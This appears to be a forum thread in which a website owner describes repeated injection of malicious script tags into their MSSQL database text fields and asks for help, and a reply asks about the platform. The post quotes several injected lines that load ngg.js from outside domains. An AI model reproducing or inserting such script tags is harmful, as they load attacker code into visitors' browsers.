Four times my MSSQL Server hacked. Somebody inserts most of the tables text, varchar fields with its value adding at the end with<script src=http://www.pyttco.com/ngg.js></script>

I changed my ftp usernamd and password, database username and password. Still they are able to insert different scripts like

<script src=http://www.cdport.eu/ngg.js></script>
<script src=http://www.drvadw.com/ngg.js></script>
<script src=http://www.bnrc.ru/ngg.js></script>

This is a virous.

I spoke to my hosting company, they are saying they are not providing any security for hacking.

Anybody can tell how can I prevent this.

Thanks

Can you please let me know what you using (PHP/ASP/ASP.NET)? Also if want you can PM address to your website and I will have look around how possibly they get on your DB.
